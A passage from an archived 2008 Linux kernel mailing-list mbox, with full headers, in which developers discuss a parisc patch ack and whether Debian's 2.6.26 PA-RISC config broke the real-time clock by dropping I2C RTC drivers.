	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Sep 09 20:10:14 2008
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd7es-0001KG-1v
	for glka-linux-arch@gmane.org; Tue, 09 Sep 2008 20:09:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751847AbYIISIn (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 9 Sep 2008 14:08:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753929AbYIISIm
	(ORCPT <rfc822;linux-arch-outgoing>); Tue, 9 Sep 2008 14:08:42 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:42213 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751847AbYIISIl (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 9 Sep 2008 14:08:41 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id D6813178071; Tue,  9 Sep 2008 14:08:40 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1220969561.3334.7.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:2104 gmane.linux.ports.ppc64.devel:46684 gmane.linux.ports.ia64:19431 gmane.linux.ports.parisc:769
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/769>

On Tue, Sep 09, 2008 at 09:12:41AM -0500, James Bottomley wrote:
> OK, so could we get this in to -rc5 please?  It's a bug fix for parisc
> since we're currently printing rubbish.
> 

While I suppose it's a "parisc" patch, I'm not going to try to push it
unless either Linus just applies it, or we get an ack from the ppc/ia64
folks too.

... That said, please apply it, Linus. :)

Acked-by: Kyle McMartin <kyle@mcmartin.ca>

regards, Kyle

From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 09 Sep 2008 13:12:01 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <1220983921.3334.36.camel@localhost.localdomain>
References: <1220713586.3430.14.camel@localhost.localdomain>
	 <20080908163703.GA3218@wavehammer.waldi.eu.org>
	 <1220893102.8074.41.camel@localhost.localdomain>
	 <20080909165835.GB1447@colo.lackof.org>
	 <1220982515.3334.29.camel@localhost.localdomain>
	 <20080909180127.GA2712@wavehammer.waldi.eu.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220983938 17262 80.91.229.12 (9 Sep 2008 18:12:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 18:12:18 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: Bastian Blank <waldi@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 20:13:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd7i6-0001KG-0I
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 20:13:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754238AbYIISMD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 14:12:03 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754834AbYIISMD
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 14:12:03 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:56949 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754238AbYIISMC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 14:12:02 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 6F0938399;
	Tue,  9 Sep 2008 13:12:00 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MZEJaW+DQ10y; Tue,  9 Sep 2008 13:11:59 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 2735C82C2;
	Tue,  9 Sep 2008 13:11:59 -0500 (CDT)
In-Reply-To: <20080909180127.GA2712@wavehammer.waldi.eu.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:770 gmane.linux.debian.devel.kernel:41248 gmane.linux.debian.ports.hppa:5502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/770>

On Tue, 2008-09-09 at 20:01 +0200, Bastian Blank wrote:
> On Tue, Sep 09, 2008 at 12:48:35PM -0500, James Bottomley wrote:
> > They certainly have to be inessential to the parisc ABI ... they don't
> > work if anything's actually trying to use them.
> 
> Really? Which sort of "don't work" is this? Why should a I2C rtc device
> (some dallas chip) not work?

Um, because the architecture doesn't have an i2c bus.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bastian Blank <waldi@debian.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.kernel,gmane.linux.ports.parisc
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 9 Sep 2008 20:29:52 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20080909182952.GA3751@wavehammer.waldi.eu.org>
References: <1220713586.3430.14.camel@localhost.localdomain> <20080908163703.GA3218@wavehammer.waldi.eu.org> <1220893102.8074.41.camel@localhost.localdomain> <20080909165835.GB1447@colo.lackof.org> <1220982515.3334.29.camel@localhost.localdomain> <20080909180127.GA2712@wavehammer.waldi.eu.org> <1220983921.3334.36.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1220985019 22078 80.91.229.12 (9 Sep 2008 18:30:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 18:30:19 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Sep 09 20:31:13 2008
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd7zc-0000je-3J
	for debian-hppa@m.gmane.org; Tue, 09 Sep 2008 20:31:12 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id C301913A58BC; Tue,  9 Sep 2008 18:30:08 +0000 (UTC)
Old-Return-Path: <waldi@debian.org>
X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-11.0 required=4.0 tests=LDOSUBSCRIBER,LDO_WHITELIST
	autolearn=failed version=3.2.3
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 60C3513A581C
	for <lists-debian-hppa@liszt.debian.org>; Tue,  9 Sep 2008 18:29:59 +0000 (UTC)
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 20209-16 for <lists-debian-hppa@liszt.debian.org>;
	Tue, 9 Sep 2008 18:29:56 +0000 (UTC)
Original-Received: from wavehammer.waldi.eu.org (wavehammer.waldi.eu.org [82.139.201.20])
	by liszt.debian.org (Postfix) with ESMTP id 6395213A5815;
	Tue,  9 Sep 2008 18:29:56 +0000 (UTC)
Original-Received: by wavehammer.waldi.eu.org (Postfix, from userid 1000)
	id 14383542D5; Tue,  9 Sep 2008 20:29:53 +0200 (CEST)
Mail-Followup-To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	dann frazier <dannf@dannf.org>, debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
Content-Disposition: inline
In-Reply-To: <1220983921.3334.36.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7 tagged_above=3.6 required=5.3 tests=[BAYES_00=-2,
	LDO_WHITELIST=-5]
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2007-10-04_01
Resent-Message-ID: <2lO9RKStlTB.A.o-D.wCsxIB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6502
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  9 Sep 2008 18:30:08 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5503 gmane.linux.debian.devel.kernel:41251 gmane.linux.ports.parisc:771
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/771>

On Tue, Sep 09, 2008 at 01:12:01PM -0500, James Bottomley wrote:
> On Tue, 2008-09-09 at 20:01 +0200, Bastian Blank wrote:
> > On Tue, Sep 09, 2008 at 12:48:35PM -0500, James Bottomley wrote:
> > > They certainly have to be inessential to the parisc ABI ... they don't
> > > work if anything's actually trying to use them.
> > Really? Which sort of "don't work" is this? Why should a I2C rtc device
> > (some dallas chip) not work?
> Um, because the architecture doesn't have an i2c bus.

Well, it have USB, so can also power usb-to-i2c adapters. And there is
even the rtc test module.

Which "don't work" do you refer to?
- Does not work because there is no binding to the hardware.
- Does not work because a fundamental problem in the whole subsystem.
(- Does not work because ...)

Bastian

-- 
You're dead, Jim.
		-- McCoy, "The Tholian Web", stardate unknown



From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 9 Sep 2008 14:42:03 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <20080909184204.B3F9B4E2A@hiauly1.hia.nrc.ca>
References: <1220983921.3334.36.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220985810 25135 80.91.229.12 (9 Sep 2008 18:43:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 18:43:30 +0000 (UTC)
Cc: waldi@debian.org, dannf@dannf.org, debian-kernel@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 20:44:24 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd8BD-0005yt-7A
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 20:43:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754363AbYIISmI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 14:42:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754618AbYIISmI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 14:42:08 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2870 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754441AbYIISmH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 14:42:07 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B3F9B4E2A; Tue,  9 Sep 2008 14:42:04 -0400 (EDT)
In-Reply-To: <1220983921.3334.36.camel@localhost.localdomain> from "James Bottomley" at Sep 9, 2008 01:12:01 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:772 gmane.linux.debian.devel.kernel:41252 gmane.linux.debian.ports.hppa:5504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/772>

> Um, because the architecture doesn't have an i2c bus.

Don't know about rtc but some PA-RISC models definitely have an i2c bus.
I see this message on a A500-75 model:

     The support bus which connects the system processors, the Guardian Service
     Processor (GSP) and the Power Monitor or Platform Monitor may have become
     hung.  (The support bus can be tested by issuing the GSP command "XD", and
     selecting the I2C access test).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 9 Sep 2008 12:46:48 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <20080909184648.GC2772@parisc-linux.org>
References: <1220983921.3334.36.camel@localhost.localdomain> <20080909184204.B3F9B4E2A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220986084 26312 80.91.229.12 (9 Sep 2008 18:48:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 18:48:04 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	waldi@debian.org, dannf@dannf.org, debian-kernel@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 20:48:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd8G0-0007zO-Vi
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 20:48:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755264AbYIISqv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 14:46:51 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756071AbYIISqu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 14:46:50 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:60052 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755264AbYIISqu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 14:46:50 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 29D8C494005; Tue,  9 Sep 2008 12:46:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080909184204.B3F9B4E2A@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:773 gmane.linux.debian.devel.kernel:41253 gmane.linux.debian.ports.hppa:5505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/773>

On Tue, Sep 09, 2008 at 02:42:03PM -0400, John David Anglin wrote:
> > Um, because the architecture doesn't have an i2c bus.
> 
> Don't know about rtc but some PA-RISC models definitely have an i2c bus.
> I see this message on a A500-75 model:
> 
>      The support bus which connects the system processors, the Guardian Service
>      Processor (GSP) and the Power Monitor or Platform Monitor may have become
>      hung.  (The support bus can be tested by issuing the GSP command "XD", and
>      selecting the I2C access test).

This I2C bus is not acessible by the operating system (as far as I know).

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 09 Sep 2008 13:58:53 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <1220986733.3334.45.camel@localhost.localdomain>
References: <1220713586.3430.14.camel@localhost.localdomain>
	 <20080908163703.GA3218@wavehammer.waldi.eu.org>
	 <1220893102.8074.41.camel@localhost.localdomain>
	 <20080909165835.GB1447@colo.lackof.org>
	 <1220982515.3334.29.camel@localhost.localdomain>
	 <20080909180127.GA2712@wavehammer.waldi.eu.org>
	 <1220983921.3334.36.camel@localhost.localdomain>
	 <20080909182952.GA3751@wavehammer.waldi.eu.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220986751 28699 80.91.229.12 (9 Sep 2008 18:59:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 18:59:11 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, debian-kernel@lists.debian.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org
To: Bastian Blank <waldi@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 21:00:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd8RS-0003Ex-Ab
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 20:59:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754441AbYIIS6z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 14:58:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754238AbYIIS6z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 14:58:55 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:48729 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754090AbYIIS6z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 14:58:55 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 4B2718399;
	Tue,  9 Sep 2008 13:58:53 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PuKClbhrUW6n; Tue,  9 Sep 2008 13:58:52 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id B5DBC7F61;
	Tue,  9 Sep 2008 13:58:51 -0500 (CDT)
In-Reply-To: <20080909182952.GA3751@wavehammer.waldi.eu.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:774 gmane.linux.debian.devel.kernel:41254 gmane.linux.debian.ports.hppa:5506
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/774>

On Tue, 2008-09-09 at 20:29 +0200, Bastian Blank wrote:
> On Tue, Sep 09, 2008 at 01:12:01PM -0500, James Bottomley wrote:
> > On Tue, 2008-09-09 at 20:01 +0200, Bastian Blank wrote:
> > > On Tue, Sep 09, 2008 at 12:48:35PM -0500, James Bottomley wrote:
> > > > They certainly have to be inessential to the parisc ABI ... they don't
> > > > work if anything's actually trying to use them.
> > > Really? Which sort of "don't work" is this? Why should a I2C rtc device
> > > (some dallas chip) not work?
> > Um, because the architecture doesn't have an i2c bus.
> 
> Well, it have USB, so can also power usb-to-i2c adapters. And there is
> even the rtc test module.

Um you mean i2c_tiny_usb?  It doesn't drive any supported hardware ...
you have to build the connection yourself.  Plus only the latest revs of
PA actually supported USB ...

> Which "don't work" do you refer to?
> - Does not work because there is no binding to the hardware.
> - Does not work because a fundamental problem in the whole subsystem.
> (- Does not work because ...)

Well, like most real world systems, you can artificially construct
pathological failure cases.  If I were you I'd stop looking for the
heath robinson ones.  No-one in their right mind is going to construct a
USB to I2C interface for the purpose of running and I2C RTC; the set of
users is clearly empty.

The way you would get an external RTC is via a more credible interface
like PCI (or EISA/ISA) is from a watchdog card ... however, no-one's
apparently written a RTC interface for any of those yet.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 9 Sep 2008 15:20:09 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20080909192010.0207A4E2A@hiauly1.hia.nrc.ca>
References: <20080909184648.GC2772@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220988022 1178 80.91.229.12 (9 Sep 2008 19:20:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 19:20:22 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, waldi@debian.org,
	dannf@dannf.org, debian-kernel@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 09 21:21:16 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kd8m3-0000ji-RO
	for glpp-linux-parisc@gmane.org; Tue, 09 Sep 2008 21:21:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752483AbYIITUN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 9 Sep 2008 15:20:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753151AbYIITUM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 9 Sep 2008 15:20:12 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2877 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752483AbYIITUL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 9 Sep 2008 15:20:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0207A4E2A; Tue,  9 Sep 2008 15:20:09 -0400 (EDT)
In-Reply-To: <20080909184648.GC2772@parisc-linux.org> from "Matthew Wilcox" at Sep 9, 2008 12:46:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:775 gmane.linux.debian.devel.kernel:41255 gmane.linux.debian.ports.hppa:5507
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/775>

> This I2C bus is not acessible by the operating system (as far as I know).

HP-UX seems to be able to access fan and power status somehow.  It
sends me an email when it thinks the i2c is hung, and once a day,
it sends a message that a fan which the chassis doesn't have (as far
as I can tell) has failed.  Of course, the A500-75 model doesn't
actually exist...  The model that actually shipped was a A500-7X.
As a result, I've never been able to update the firmware.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.devel.kernel,gmane.linux.debian.ports.hppa
Subject: Re: Debian parisc config for 2.6.26 broke the real time clock
Date: Tue, 9 Sep 2008 21:35:32 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <7d01f9f00809091235p7673625fm8cefa4a2e9d9965a@mail.gmail.com>
References: <20080909184648.GC2772@parisc-linux.org>
	 <20080909192010.0207A4E2A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220988954 4629 80.91.229.12 (9 Sep 2008 19:35:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 9 Sep 2008 19:35:54 +0000 (UTC)
Cc: "Matthew Wilcox" <matthew@wil.cx>,
	James.Bottomley@hansenpartnership.com, waldi@debian.org,
	dannf@dannf.org, debian-kernel@lists.debian.org,
